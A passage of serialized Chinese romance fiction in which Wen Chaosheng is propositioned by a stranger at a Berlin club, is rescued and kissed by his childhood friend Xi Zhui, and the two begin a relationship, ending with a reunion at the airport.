“潮声,有品位!”夏逢一大为感动,重新贴抱住闻潮声,“我就知道,我们俩才是一个阵营的!” 席追刺道,“谁要和你花蝴蝶一个阵营?” 夏逢一当没听见,趁机和闻潮声吐槽两位好友,“你别和他们俩走太近,一个个看着风度翩翩,实际上嘴巴都毒得要死。” 话音刚落,斜后方就响起了林可漾的好奇询问,“这位粉色头发的小帅哥是谁啊?” 夏逢一转过身去,热情打招呼,“哈喽,你们是潮声的朋友吧?” “嗯。” “潮声的朋友就是我的朋友!” 夏逢一拍了拍闻潮声的肩膀,起身走到餐桌边上,“来来来,你们要吃什么?我和你们说,这家的脆皮猪肘很不错……” 闻潮声望着夏逢一的背影,以及他叽里呱啦停不下来的嘴巴,佩服之情油然而生。 席追重新坐在他的身边,不着痕迹地抢夺注意力,“看他干什么呢?” 闻潮声突然联想到一个奇怪的问题,回过视线,悄咪咪地问席追,“逢一是不是随身得带着润喉片啊?” 一天到晚说那么多话,嗓子不会累吗? 要是换了别人,一时半会儿可能还理解不了闻潮声的脑回路,但席追立刻就懂了。 他玩笑接应,“可能吧,我上次去他家,看他囤了一柜子的润喉片。” 闻潮声信以为真,“啊?真的吗?” 席追忍俊不禁,“骗你的,怎么说什么都信。” “哦。” 有了夏逢一的加入,包厢里的氛围立刻就热闹了许多,晚餐后,他招呼着大家玩起了花牌。 两两组队,正好可以分成四组 ,不赌钱,输的人只需要喝上一杯酒。 两位女孩子可以免掉这一惩罚环节,输了喝杯柠檬汁就行。 闻潮声不懂这些棋牌游戏,只安静地当个局外人,任由同组的席追代表去玩。 席追今晚像是牌运不济,上桌后输了好几轮,喝了好几杯洋酒。 每回一输,他就会对身边的闻潮声投去遗憾的目光,然后后者就会软乎乎地安慰他,“没关系的,你已经很厉害了。” 中场休息结算的时候,夏逢一啧啧称奇,“不对啊,席追你牌技怎么拉垮成这样?” 这人在以往牌局里,十次里面九次都是赢家。 沈照野洗着手里的牌,低声提醒,“席追有他的新玩法,你不懂少问。” 夏逢一很狐疑地看了回去,“你又懂了?” 沈照野说,“比你懂点。” “……” 牌局一轮接着一轮开启。 闻潮声暗中注意着时间,不太娴熟地找了一个蹩脚理由,“席追,你们先玩,我出去给乔老师打个电话,马上就回来。” 席追停下手中摸牌的动作,“要我陪你吗?” “不用,你们玩吧。” 闻潮声怕自己说多了就露馅了,连忙走出包厢,他摸了摸早已经装进口袋里的钱包,打算抢先去前台买个单。 但初来乍到的闻潮声显然高估了自己的认路能力,更低估了“双境”场地设计的复杂性—— 由于缺乏明确的引路牌,他在充满岔路的走廊里七拐八绕的。 不但迟迟没能找到刚进门时的前台踪影,反而误打误撞地进入了一片酒吧片区。 恰时,新一轮的劲爆音乐响了起来。 天花板上的一排射灯骤然扫射全场,形形色色的男女在中央舞池里狂欢,举着酒杯的同时还不忘贴身热舞。 双境,顾名思义,一个有种双重境界的娱乐会所。 “……” 闻潮声对于这样的“热闹”向来是避而远之,下意识地后撤两步,打算原路返回。 只是没等迈出脚步,就有人搂上了他的肩膀,紧接着,一道带着醉意的撩拨在耳边响起: “hi,cutie.”—— 作者有话说:@席追,速来。 以及,我们乌龟宝宝确实很cutie~[害羞]—— 感谢小可爱们的订阅支持,接下来将稳定在每晚18点日更,每章评论区都会发放随机红包!感恩! 第26章 【第026章·旧心动】 “我喜欢你。…… 闻潮声最不习惯突如其来的接触, 顿时僵住身子,看了过去。 对方是个金发碧眼的外国男人,眉眼流露出的气质尽显风流和多情。 他手里端着一杯深蓝色的鸡尾酒, 另外一只手则是虚搭在闻潮声的肩膀上, 靠近时,身上传来的香水味浓烈得有些呛人。 闻潮声不舒服地蹙眉,惊慌地从他的怀中挣脱出来。 对方瞧见他受惊吓的模样, 故作抱歉地抬了抬手,似乎用德语说了一句什么。 “……” 闻潮声没听懂,低头想要绕开他走。 没料到,对方一个侧身就拦住了他的去路,他问, “你是……华国人?” 不太流利的普通话,听着还有些蹩脚。 “你好,我叫查利。” 外国男人就只会那么几句基本的普通话,他又切换成了英文, 举着酒杯向闻潮声示意,“抱歉,吓到你了,但我没有恶意,只是觉得你长得很可爱,想请你喝一杯酒。” 他举起酒杯, 往近处示意, “你看,我的位置就在边上。” 闻潮声这下听懂了眼前人的意图,很不自在地推了一下自己的黑框眼镜,“……谢谢你的邀请, 但我不会喝酒。” 他的性子软,向来做不到强硬的拒绝,只能礼貌表示,“麻烦请让一下,我走错地方了,现在要回去。” 外国男人笑了一下,却没打算就此收手。 这种性格的小动物最好拿捏了,只要能够拐上床,就会红着眼任由床伴予取予求,他可舍不得错过。 外国男人露出势在必得的一抹暗芒,弯腰对准了闻潮声的眼,露出真正的放荡不羁的一面,“cutie,你是gay吧?” “……” 闻潮声听见这个词汇,骤然睁大眼睛。 外国男人顷刻就知道自己看准了,“你比我想象中得还要可爱。” 他伸出指尖,试图去逗弄闻潮声的小卷毛,“一个人来的?今晚要不要跟我试试?我技术很好的,保证让你很舒服。” “……” 闻潮声从来没有遇到过这么直白的聊骚,整张脸都快红透了,眼见对方还想要上手触摸,他也顾不得礼不礼貌了,猛地避开,打算直接开溜。 “诶!” 外国男人哪里舍得就这么让闻潮声逃走? 他刚准备上手去阻挡,却没料到另外一道身影冲了上来,当机立断地拍开了他不安分的手。 啪! 猝不及防的力道传来,震得手臂都在发麻,外国男人吃痛蹙眉,没了动作。 席追第一时间将闻潮声拉到了自己的怀中,低头观察着他的情况,“没事吧?” 闻潮声没想到席追会找到这里来,在一瞬间的惊讶后,他没有推开这样的亲近保护。 席追身上的浅淡气息取代了刚刚那股刺鼻的香水味,让他找到了归属感,不自觉地放松下来。 闻潮声摇了摇头,“没事。” 外国男人看见突然出现的席追,眸底晃出一丝狩猎被打断的懊恼。 但他实在是很喜欢闻潮声这款类型的男孩子,并不打算就此放弃,“Cutie,这位是你的朋友?” “……” Cutie? 席追听见这个称呼,眸色瞬间沉下来。 外国男人像是没有察觉他的敌意,漫不经心地摇晃着酒杯,那双贪婪的眼神却始终游走在闻潮声的身上。 “要是不介意,我可以请你们一起喝酒?哦对了,我也有其他朋友,待会儿要来。” “……” 席追冷笑一声,内心深处的占有欲陡然攀升。 闻潮声只觉得搂在腰上的手臂隐隐收紧,很快地,他就听见席追语气沉硬地说了一句的德语。 他没能听懂,但看得出对面的外国男人似乎愣了一下,随即玩味又遗憾地耸了耸肩。 没等闻潮声明白发生了什么,席追就已经拉紧了他的手,强势地拽着他离开了双境的酒吧地带。 在没有明确指向牌的走廊里,黑钛金铺成的地面无限折射着延伸,仿佛没有尽头。 闻潮声被迫跟着席追的步伐节奏,晕头转向地在里面穿梭,但拢在他的手腕上的力道越来越紧,甚至有了一种要把血肉捏碎的错觉。 “唔——” 闻潮声吃痛蹙眉,不得不喊停,“席追,你停一下,先、先松开我。” 席追停了下来,转身看他的视线里沾着一丝隐晦的醋意,“好端端的,你跑去那种地方做什么?” “我没想去。” 闻潮声察觉到他的不悦,低声解释,“我出来只是想要背着你们、提前把今晚的费用解掉,结果不小心走岔了路。” 他也是第一次来,哪里知道双境会所居然还藏着另外一番天地? 闻潮声感受到腕上因为过度攥紧而残存的麻意,突然有点委屈,“是那个外国男人突然缠上来的,还说了一些很奇怪的话,我都已经拒绝他了。” “你以为好声好气的拒绝能起作用?” 席追都能想象到闻潮声的拒绝会有多礼貌、多温软,在那种习惯了夜场狩猎的男人眼里,只怕是另外一种欲拒还迎的情趣罢了! 刚才要不是他来得及时,那外国男人就要直接上手揩油了! 体内的酒意悄然涌上头。 席追一想到刚刚那人对闻潮声赤/裸/裸的觊觎,眼里的醋意连带着火气都快翻了天。 闻潮声还没有察觉,闷闷开口,“我又不是故意留在那里不走的,你刚刚和他说了什么,他怎么突然就……” 话没说完,闻潮声的肩膀被席追抵着往后一退,“唔?” 他的后背紧贴着冰冷的镜面墙,后脑勺却不期然地“撞”在了席追的掌心上,一点儿都不疼。 视线对视的刹那,席追不由分说地吻了上去。 “……” 闻潮声猝不及防地瞪大了眼睛。 在陌生的温热触感中,他尝到了一丝属于席追的酒味,脑袋里发出“嗡”的一声,就此晕眩。 这个突如其来的亲吻没有持续很长时间,但在离开前,席追很刻意地轻咬了一下闻潮声的上唇。 闻潮声被亲得两眼放空,却还是敏感地哆嗦了一下。 “不是想知道我和那男的说了什么吗?” 席追的指腹蹭上闻潮声的嘴角,一字一句地解释,“我和他说,他没有资格觊觎我的男朋友。” 停滞的思绪在听见这一声“男朋友”后,骤然运转,意识两人刚才是在亲吻后,闻潮声肉眼可见的速度红了脸,呼吸也变得紊乱起来。 “你……你为什么……” 话问到一半就没了声。 因为过度紧张和慌乱,闻潮声藏在镜片下的眼眶都泛了红,像是抵抗不住这过分冲击的事实,他竟然直接将身前的席追推开,扭头就走。 席追懊恼蹙眉,连忙跟上,“闻潮声,你等一下。” 闻潮声不理他,闷头往前走,而且步伐越迈越大、越走越快。 这回倒是误打误撞,直接走到了楼层安全通道的门边,他也不管三七二十一,打开门就直接往里面钻。 席追紧追不舍,在安全通道里抓住了他的手腕,“包厢在另外一边,你要去哪里?” 闻潮声甩了一下,没甩开,“你放开我,我不跟你回去。” “好,先不回去。”席追顺着他的话,当机立断地凑近,“我们就在这里把话说清楚。” “……” 闻潮声不说话。 席追继续服软,“哥哥,对不起,我刚刚吓到你了,是不是?” 闻潮声听见这声“哥哥”,越发不敢看眼前人,他沉默了半天,勉强挤出一个像样的理由,“你是不是喝醉了?你一定是喝醉了。” 席追却不要这个搪塞的借口,“今晚是喝了酒,但我没喝醉,我知道我在说什么、在做什么。” 他看着因为羞涩和冲击始终不敢抬眼的闻潮声,果断挑破了隔在两人间的这层窗户纸。 “闻潮声,我刚刚就是亲了你,即便明早醒来,我也不会忘记这件事。” “……” 闻潮声深吸了一口气,不敢接受这个事实。 怎么会这样呢? 他们不是一直是朋友吗? 闻潮声还是不懂席追为什么要突然亲他,眉心闪过迷茫和纠结,“为什么呢?我们、我们这样是不对的。” “还能为什么?又为什么会‘不对’?” 席追看穿了闻潮声潜意识里的逃避,伸手抚上了他的后颈,像是安抚,也像是鼓励,“闻潮声,你先看着我。” 闻潮声终于抬了头,眼里有些不受控制的、超出预期的紧张。 席追对上他的迷茫,换了一种以退为进的说辞,“我一直以为我们俩的想法是一样的,我以为,我没有会错意。” “什么?” “你想着我写出了剧本里的唐遇,你在开机时送我的古币,你在机场送我的杀青合照,还有很多时候,你每次看着我、喊我名字时的眼神。” 席追垂眼看他,笃定地问,“闻潮声,我以为你喜欢我。” “……” 闻潮声听见这话,眼神又有了闪躲。 他是喜欢席追,这份感情缘于青春时期的萌动,更在重逢后的相处中加深,但因为两家的世交关系,他从来不敢有任何过分越界的行为。 闻潮声自以为用“朋友”身份可以掩盖自己那不着调的“暗恋”,却没料到,对方早已经洞察了一切。 “哥哥。”席追落在后颈的手微微加重了力度,眼中的温柔却只多不少,“看着我,不准躲。” 他没有强求闻潮声承认,反而又将自己的心思说给对方听,“你以为我为什么要送你那个泥塑小人?” “我把你送的赛车、我们的杀青合照,放在书桌一眼就能看见的位置。” “我故意提前支开了家里的佣人阿姨,故意想方设法将你带回到家里住,故意在睡前把暖气调低,也故意只留了一床被子,你觉得,我为什么会耍这些小心思?” “如果你这样还不明白,那我可以再告诉你,剧本里的唐遇对央金是什么感情,那剧本外的我对你就是什么感情。” 闻潮声眸光松动了一瞬,直到此刻,他才后知后觉—— 席追那些看似以“友情”为名义的言行举止里,居然也藏着不可言说的情愫? 席追干脆全盘托出,“我要等六月末份才能正式结束学业,最快要七月份才回国,我原本想要在时机成熟后,再好好找机会和你告白的。” 可惜计划赶不上变化。 席追着实高估了自己的耐心和克制。 他没想到,酒吧里随便出现的一个陌生人就能激起他的醋意,让他失去了理智和分寸、吻了闻潮声。 事情已经发生了,那就不如彻底说开。 安全通道里只有一盏昏暗的小灯。 在微弱的光线中,席追一点点地靠近了闻潮声,“我说完了,你听明白了吗?” 两人的目光暧昧交汇,潜伏已久的心动瞬间迸发。 闻潮声显而易见地害羞起来,他有些承受不住地后退半步,却抵在了安全通道的窗沿上,无路可退。 “……” 闻潮声一时间忘了呼吸,也舍不得躲开。 而在他身后的窗外,在柏林灰蒙蒙的夜色里,有雪花落了下来。 “闻潮声。” 席追勾起唇角,喊出了心尖上的那个名字,目光却锁定了眼前人。 “我喜欢你。”—— 作者有话说:憋不住了就直球出击[点赞] 感谢小可爱们支持正版,本章评论随机红包! 第27章 【第027章·旧心动】 “算是谈恋爱…… 伴随着告白一同传来的, 是闻潮声不可控的心跳。 他借助楼道内的微弱光线,小心翼翼地在席追的眼中反复探寻,却始终没有发觉一丝玩笑的迹象。 是真的。 席追在说, 喜欢他。 闻潮声确认了这个事实, 脑袋却再次陷入一片空白,“我……” 在迄今为止的人生里,他的情感经验近乎为零, 甚至不知道该怎么去回应这份喜欢。 席追深知眼前人内敛温吞的性格,克制着快要紊乱的呼吸,给他留足了反应和思考的时间。 安静的时间过于漫长,通道里的感应灯骤然熄灭,四周陷入一片静谧的昏暗。 忽然间, 有雪花从窗缝里溜了进来,贴在了闻潮声的颈侧,凉得他一哆嗦。 席追捕捉到了这一幕,伸手抹掉那片本就要消融的雪花, 然后顺势捏了捏闻潮声的耳垂,“闻潮声。” 他终于还是忍不住喊了一声,再次明确表示,“我喜欢你。” 沉默的等待,变得很磨人。 席追贴近,试探性地轻蹭了一下眼前人的鼻尖, “听见了吗?不准当哑巴, 嗯?” 闻潮声的呼吸抖了抖,原本放空的视线猝不及防地对上了席追的薄唇。 有一瞬间,他想到刚才的那个吻。 席追察觉到他的视线游离,“在想什么?” “……” 想要, 再亲一下。 闻潮声听见自己内心深处的答案,一时之间忘了两家的关系,仿佛这个世界只剩下他们两人。 闻潮声抵在两侧衣服上的指尖蜷缩了一下,名为“勇气”的缓存条终于上升到了百分之百。 他缓缓仰头,用最笨拙的、最青涩的方式做出了回应,吻了一下席追的嘴角。 像不久前落在他颈侧的那片初雪,短暂的,只够留下那一点微凉的触感。 闻潮声缩回来,发出一个单音的字节,“嗯。” 席追偏偏锲而不舍地追了上去,和他气息纠缠,问个明白,“说清楚,‘嗯’是什么意思?” 温热的呼吸声中,似乎有什么一触即发。 闻潮声的嗓音都在发颤,但还是认真给出回应,“嗯,我……我也喜欢你的。” 吻,终于又一次落了下来。 闻潮声紧张地浑身僵硬,下意识地抓住了席追的衣角。 因为来不及做出正确的反应,他只能无措地睁着眼睛,藏在镜片下的睫毛颤了颤,却不敢用力眨眼。 “……” 怎么这么呆啊。 席追将闻潮声的反应尽收眼底,笑着叹了口气,他主动拉开了一点微不足道的距离,抬手勾掉对方有些碍事的黑框眼镜。 “哥哥,闭眼。” 闻潮声乖乖照做。 席追低头,浅吻着摩挲着他的唇,又说,“张嘴。” 闻潮声呼吸一抖,更乖了。 积蓄已久的汹涌热度重新落了下来。 急促的呼吸声应合着愈演愈烈的心跳,在初雪中,他们交换了人生中第一个以“恋人”为名义的吻。 ——滋滋滋。 也不知过了多久,口袋里的手机忽地响起来电震动。 席追不得不先暂时松开了怀中的闻潮声,摸出电话接通,“喂。” 夏逢一在电话那头嚷嚷,“席追,你找到潮声了没有?怎么大半天不回来?没出事吧?” “没事,他和我在一起。” 席追垂下眸光,看着怀中因为剧烈亲吻而失神的闻潮声,“我们临时有点事,先回去了,你们玩。” 夏逢一听见这话,很不满意地嚷嚷,“你们俩能有什么事啊?说走就走!不行,要走你走,你把潮声给我留下……” “诶!你抢我手机干嘛!” 唠叨的话还没说完,手机那头就换了人。 沈照野言简意赅,“不打扰了,你们自便,回见。” ——嘟。 电话的挂断声响起。 闻潮声堪堪回过神,还有些喘,“我们不回包厢了吗?” 席追的指尖蹭过他唇上的水色,饶有深意地反问,“哥哥,你确定你现在这样的状态,能回去?” “……” 唔。 还是不了。 闻潮声感受着唇上残留的酥麻,红着脸摇头。 但他还记得自己要去结账买单的要紧事,“前台在哪里呀?我要付钱。” 席追拿他没办法,“不用了,我和照野他们都是这里的会员,卡里可以抵扣,说好了是要庆祝你入围电影节,哪里能让你付钱?” 闻潮声想了想,“那下次我再回请你们。” “好的。”席追毫不避讳自己的私心,“他们就算了,你可以单独回请我一个。” 席追将黑框眼镜戴回到闻潮声的脸上,这才一手牵住了他,一手划拨手机,“我找个代驾,今晚喝了酒,不能开车。” “哦,好的。” 闻潮声的视线落在两人紧握的手上,涌起一种后知后觉的奇妙,他的心尖冒起无数的羞涩泡泡,却还是不敢相信—— 他和席追这样,算是谈恋爱了吗? … 因为害羞劲还没过,闻潮声从上车后就不太敢看席追,而是一个劲地把视线落在车窗外。 这场的雪越落越大,正好弥补了他今年没在帝京看见下雪的遗憾。 席追看了一眼前排专注开车的司机,这才捏了捏闻潮声的手指,试图挪回他的注意力,“要聊聊吗?” 指尖的酥麻一闪而过。 闻潮声向来不太会拒绝席追的要求,看了他一眼,缓慢点头,“好的,聊什么呢?” 席追先问他,“你这趟回国后有什么打算?新电影什么时候开拍?” 柏林国际电影节的行程已经步入尾声,闻潮声在内的一行人定了明晚回国的飞机。 想起即将到来的又一轮离别,闻潮声顿时有点心不在焉。 席追看穿了他的情绪,改口,“那我先说吧。” “嗯?” “我已经决定好了,忙完了这边的学业,我会回国发展,闻导——”席追用这个久违的称呼吸引了他的注意力,“你说,我顶着这张脸去混个娱乐圈,够不够格?” 这两句话里的信息量太大,闻潮声缓冲了好一会儿,他对上席追眼里的认真,不可置信,“你要进娱乐圈?” “是。” 席追回答得很果断,“不是一时兴起,这是我深思熟虑后的决定。” 自从意识到喜欢闻潮声后,席追就在思考两人发展感情的可能性—— 他知道闻潮声从小就怀揣着当导演的梦想,现在也算是一脚迈入了华国电影圈,将来肯定是要在国内稳扎稳打的。 席追表达自己的初衷,“我想离你更近一点儿。” 从现实角度出发,如果他选择继续留在德国、深耕在金融圈层,那在两个人都需要奋斗的年纪,隔着距离和时差,几乎很难去维持一段好的感情。 闻潮声蹙眉,“可你在这个学业上的成绩很优秀,怎么能……” 席追适时接住了眼前人的担忧,给出了解释,“本硕读的金融,只是因为对标家里产业、够合适,倒不是我自己有多喜欢。” 以他的能力和好胜心,其实无论读什么专业都会尽可能地做到最好。 “你不用替我觉得惋惜,我觉得演戏还挺有意思的,是真心想要改行。” 席追确实在《轮廓》的拍摄中体会到了演戏的乐趣,“可以站在镜头前,塑造不一样的角色和人生,很有挑战性。” “其实《轮廓》入围了国内的电影节后,一直有不少影视公司联系过我,表示想要挖我签约出道。” “我考虑了一下这事业的发展性,觉得挺不错,所以我才说最迟七月,我会结束这边的一切回国。” 和其他只知道吃喝玩乐的富家少爷不一样,席追很明确自己当下的目标,并且愿意为之付出实际行动。 闻潮声见他不是一时冲动,依旧担心,“叔叔阿姨不会有意见吗?特别是还有席爷爷。” “我会找时间和他们说的,我爸妈还挺开明的,向来尊重并且支持我的决定。” 现在的席追有闯荡、有试错的年轻资本,更有对自己负责的能力,退一万步来讲,哪怕真的不成功,这不是还有“继承家业”这条后路可以托底? 席追问他,“你不信我?” 闻潮声忙不迭地说,“信的。” 席追重新牵住他的手,反问,“那你呢?接下来有什么打算?” 掌心被热意温柔包裹着,好不容易才压下去的悸动瞬间卷土重来。 闻潮声卡壳了两秒,如实报备自己接下来的工作计划,“新剧本《花月》已经打磨完了,我回去后,就得开始筹备拍摄了。” 因为有了入围柏林国际电影节的好消息,林可漾很顺利地就替他拉到了电影投资。 虽然投资金额不大,但足够他们建组完成拍摄。 “这次电影的主角得全程扮丑,临死前才会用真实的面目示人。” 每每提及自己的电影项目,闻潮声的话就多了些,“我想要找新人面孔来演,还得长得足够漂亮才行,这样最后那一幕拍出来的反转才会更震撼。” 席追给予认可,“嗯,挺有意思的。” 闻潮声的内心多了一丝暗戳戳的期待,“你到时候有空,可以来剧组探班,我们大概率会在横城置景拍摄。” “好啊。” 席追眉梢微挑,再出口的话多了一丝不着调的醋味,“我也想看看,闻导人生中第二部电影的男主角,到底长什么样?” 可惜,刚拐到手的男朋友呆呆的,没听出来。 … 两人被代驾顺利送回了家。 席追带着闻潮声上了二楼,才松开了一直牵着的手,“今晚你睡卧室,我去一楼睡客卧。” 其实,楼下一直有另外一间客卧闲置着,他之前故意没提。 “……” 闻潮声不自觉地瞥了一眼空落落的手,有些迷茫。他们之前不是都睡在一起的吗?为什么突然要分开睡? “哥哥,你是不是忘了什么?” 席追将他的内心洞察得一清二楚,似笑非笑地倚在门边,“我们之前是‘朋友’,即便睡在一张床上也要克制、要有分寸,现在不太一样了——” 席追凑近耳语,“你早起再对我有冲动的话,我可就要忍不住了。” “!!” 闻潮声回想起了第一天的“意外”,整张脸顿时爆红,“我才没有!” 那天早上明明就是席追的反应比较激烈,怎么现在还反过来倒打一耙了呢? 席追笑了笑,不逗他了,“说真的,我觉得你今晚应该会更想要一个人睡觉?我怕我在这儿,会影响到你。” 一来,他觉得闻潮声需要单独的空间去消化两个人已经“在一起”的事实。 二来,对方明晚要在飞机上度过、估计会睡不太好,席追希望他今晚能拥有充足的睡眠。 闻潮声想了想,好像确实是这个道理。 “晚上暖气调高一点儿,别冻着。” 席追抚上了闻潮声的后颈,温声示意,“还有,我就只给你一个晚上的时间考虑清楚。” “过了今晚,你明早起来就没有后悔的余地了。” 听上去是很绅士的表达,实际上,就算闻潮声明早起来要反悔,他也会假装没听见。 “……” 被掌心拂过的地方,渐渐涌起一片温热。 闻潮声突然就不想要和席追分开睡了,但他只敢想,不敢说。 “晚安,哥哥。” “晚安。” 席追说到做到,转身下了楼。 半个小时后,洗漱完毕的闻潮声悄悄打开房门,朝着还亮着灯的楼下偷瞄了好几眼。 确认席追没有一点儿要再上楼的动静后,他不得不压住心里那点不着调的遗憾,轻手轻脚地关上了房门。 房间里的暖气调升了一个度,很暖和。 闻潮声躺在床上,透过窗帘缝隙看着屋外还在纷飞而下的大雪,脑海里却不自觉地回味起了今晚的两个吻。 闻潮声没有和其他人接吻的经验,但他单纯地认定: 席追的吻技很好!超好! 过了一会儿,闻潮声才忍住那点害羞的情绪,拿起了自己的手机。 他打开了备忘录,创建了一个关于“席追”的私密备忘文档,然后认真打下了第一行字—— “他说喜欢我,还接吻了,这样算是在一起了吗?” … 闻潮声的睡眠质量很好,一觉自然醒,还躲进被窝里赖床了好一会儿。 直到床边的手机响起震动,他才顶着乱糟糟的卷毛钻出被窝,抬头,看了一眼,是席追打来的电话。 闻潮声愣了两秒,困意突然就消失得一干二净。 他连忙爬起来,接通,“喂?” 席追的声音从电话那头传了过来,似乎带着点笑意,“早上好,睡饱了吗?” “嗯。” 闻潮声刚睡醒的嗓音还有些发软,不太明白席追为什么给他打电话,“你出去了吗?” 席追说,“没有,就在别墅后院,你现在掀开房间窗帘就能看到我。” 闻潮声愣了愣,视线不自觉地看向了窗帘—— 帘缝的隙间里是白茫茫的一片,大雪似乎是落了整整一夜。 “闻潮声。” 电话那头的声音骤然提高了一些,与楼下后院传来的声音同步响起: “穿好外套再出来,给你看个东西。”—— 作者有话说:猜猜席哥在干嘛~ 从今天起,我们追潮就是甜甜的初恋小情侣了[竖耳兔头]- 感谢小可爱们的支持!本章评论随机红包~(放心,还能稳稳甜一段时间~[坏笑] 第28章 【第028章·旧心动】 “哥哥,渣男…… “……” 闻潮声立刻下了床, 他顾不上穿外套,而是第一时间走到了窗帘边上。 刷拉。 屋外亮堂的雪光倾泻而入,微微有些刺眼。 闻潮声眯了眯眼, 视线在一片白茫茫中慢慢聚焦到了一楼—— 席追就站在洋房后院的雪地上, 他的边上居然立着一个半米高的雪人,但细看时,好像又不太符合传统意义上的“雪人”形象。 隔着玻璃, 两人对上了目光。 温柔的晨光散落在席追的身上,身影在雪地中格外清晰,他将手机移动到嘴边,上扬的视线却始终对准了二楼窗边的闻潮声。 “早上好,要下楼查收一下我送你的礼物吗?” “……” 闻潮声的呼吸漏了一拍, 指尖下意识地抵上了窗户边缘,他想要打开窗户,却被楼下的席追一秒制止,“别开窗。” “哥哥, 外面冷,穿好外套再下来。” “哦。”闻潮声听话地收回手,又说,“那你等我一下。” 电话那头的席追笑了声,“好,我等你, 等多久都行。” 闻潮声抓紧时间洗漱, 直接在睡衣外面裹了羽绒服,迫不及待地跑到了一楼。 后院的门虚掩着,一打开,独属于雪天的冷冽寒风就灌了进来。 因为着急下楼, 闻潮声的羽绒服拉链还没拉到顶,当即冻得一哆嗦。 席追眼尖地察觉出了他的冷颤,赶在他出门前靠了过来,“等一下,别出来。” “……” 闻潮声刚迈出去的一只脚立刻收了回来、乖乖站好,像个小人机。 席追将自己久戴的围巾摘下,绕在了闻潮声的脖子上,又从一层的鞋柜里拿出厚实的棉拖鞋,“换上。” 闻潮声立刻换上,发现尺寸正好。 席追的目光往他的手中一落,“虽然很想牵你的手,但这会儿不行。” “为什么?” 闻潮声吸了吸冻红的鼻子,语气中隐含着一丝遗憾。 席追淡笑着解释,“家里没有多余的手套,我现在手里的这双有点湿,牵手会冻到你。” 话虽如此,可他还是扯出一节袖口,“你可以牵这里。” 闻潮声伸出指尖,很高兴地捏住毛衣袖口,“嗯。” “走吧,去看我给你堆的雪人?” 闻潮声点了点头,跟着席追往院子里走。 离得近了,他才从正面视角看清了这个雪人的造型,是一只侧着站立的、抬着爪子的小熊。 席追站定在他的身边,“认得出来吗?应该有点相似度吧?” 其实他昨晚没睡好,一直在复盘自己的告白会不会太过唐突,不知不觉就醒到了早上六点。 席追发现后院有了一定的积雪,突然灵光一闪,就出门堆了将近三个小时。 闻潮声的眼眸深处掠过一抹惊讶,缓慢点头,“这是奖杯吗?” 柏林国际电影节的最高奖项“金熊奖”,获奖者能够拿到的奖杯造型,就是一只站立的金色小熊。 席追笑了声,又问他,“闻导,准备好了吗?给你颁个奖。” “什么?” 闻潮声还没反应过来。 席追捡起一旁的小铲子,蹲了下来,在“雪熊”前面的积雪地写道: “最佳导演奖,闻潮声《轮廓》。” “……” 闻潮声蹲在了席追的身边,指尖小心翼翼地触及着这行独属于他的肯定。 席追望着他的侧脸,“我知道你们早就做好了拿不到奖、只是来学习的准备,可我还是希望你不要带着失落回去,哪怕只有一点儿的也不要。” 闻潮声怔了怔,内心隐秘的一隅被瞬间触动。 自从得知《轮廓》入围柏林电影节后,那些躲在网络背后的同行嫉妒心发作,在业内论坛里编排了很多“走后门”“买奖”之类的造谣,还将身为导演的闻潮声抨击得一文不值。 在确认他们的电影没有获奖后,那些人自以为是的尖酸点评更是变本加厉—— “看吧,父母在真正的国际电影节上帮不上忙咯。” “走后门失败,垃圾作品、垃圾导演还想要在国际上获奖?真当电影节评审都是只爱钱的傻子啊!” 诸如此类的评价看得多了,作为高敏感性格,难免会产生自我怀疑。 闻潮声自认为不是得失心很强的那类人,但他也有过那么一刻,希望真的可以在柏林电影节上拿到奖项,来证明自己的能力和价值。 可惜,电影节宣布结果的那一刻,也是他愿望落空的那一秒。 闻潮声以最快的速度将那份不着边际的失落藏了起来,他没有想到,席追居然会用这样的形式填补他落选时那点细微的情绪裂痕。 “……” 闻潮声眼眶隐隐有些湿润。 他不想让席追察觉出来,特意将脸蛋往围巾里缩了缩,“怎么还给我写这个?我这次入围的单元不是主流奖项,本来就拿不到最佳导演。” 席追却说,“但我相信,总有一天,你会站在领奖台上,拿下属于你自己‘最佳导演’的奖杯。” 闻潮声眸光微亮,嗓音透着点温软,“那我也给你写一个,好不好?” 席追将小铲子递给他,“闻导打算给我颁什么奖?” “嗯——” 席追一笔一划写得很板正,将颁奖内容落在了自己“奖项”的上面,“最佳男主角,席追。” 席追失笑,“跳过新人奖,直接给我颁发最佳男主啊?” 闻潮声听见他的轻笑,突然有点羞涩,“……这样很幼稚,是不是?” 席追却说,“幼稚也没关系,我还得拍照发个朋友圈,留个纪念才行。” 这是他们人生中共同经历的第一场冬雪,就应该一起留下点回忆,哪怕幼稚,但足够珍贵。 席追拉着他起身,“来。” 闻潮声起身时没站稳,歪了一下撞在席追的怀里。 席追趁机圈住,用下巴蹭了蹭他毛茸茸的头发,没忘了问正经事,“昨晚想清楚了吗?要不要和我在一起?” “……” 闻潮声心跳扑通扑通,任由席追抱着,“那你呢?想清楚要回国发展了吗?” 席追回答,“想清楚了,你等我回国。” 他会尽可能地事业上和闻潮声有共同的交际、共同的话题,或许未来,还能继续拥有共同的作品以及成就。 闻潮声感知到了席追的认真,心突然变得安定,“好。” 隔着围巾,他极其内敛却又坚定地表示,“那我也、想清楚了。” 尽管对未来充满未知,也不清楚两家长辈在得知他们关系后的反应会如何,但闻潮声在很早就坚定了一个信念—— 席追和电影,与他而言是同等重要的美梦。 如果可以把握,他都不想错过。 … 或许是明确了席追有回国发展的想法,这次分别,虽然闻潮声还是不舍,但内心涌动更多的是对未来的期待和动力。 回国后的第一时间,闻潮声投入了《花月》的筹拍准备中,当然,他也会抽空和席追保持日常的联系。 眨眼就到了七月中旬。 机场的冷气将逼人的暑热隔绝在外,接机大厅内,新一轮的机场广播响起:“尊敬的旅客您好,这里是海市国际机场……” 大约是因为暑运高峰,今天的安全通道外站着一片乌泱泱的接机人群。 闻潮声社恐大发作,他不好意思挤去最前排的栏杆,只能站在人群最末端的边缘,偶尔踮着脚尖、扬起脑袋瞥上两眼—— 席追的国际航班已经落地了,算算时间,应该就快要出来了。 闻潮声生怕对方找不到自己,正准备拿手机拍个位置照片,肩膀就忽地被人一拍,“这是在找谁?” “……” 熟悉的声音在耳边响起,不再需要通过微信传递,闻潮声惊喜地偏过头,瞬间对上了那张日思夜想的面容。 席追同样戴着口罩,但此刻的眉眼里已经没了往日的冷锐,反而盛出了一点温柔的淡笑。 久别重逢一对视,闻潮声就涌出了一股莫名其妙的羞涩感。 得亏戴着口罩,他还能藏一藏自己的不好意思,“你、你怎么找到我的?我正准备给你发消息呢。” 席追摘下有些发闷的口罩,很了解他,“我看到这一大片的接机人群,就猜到以你的性格肯定不会往前挤。” 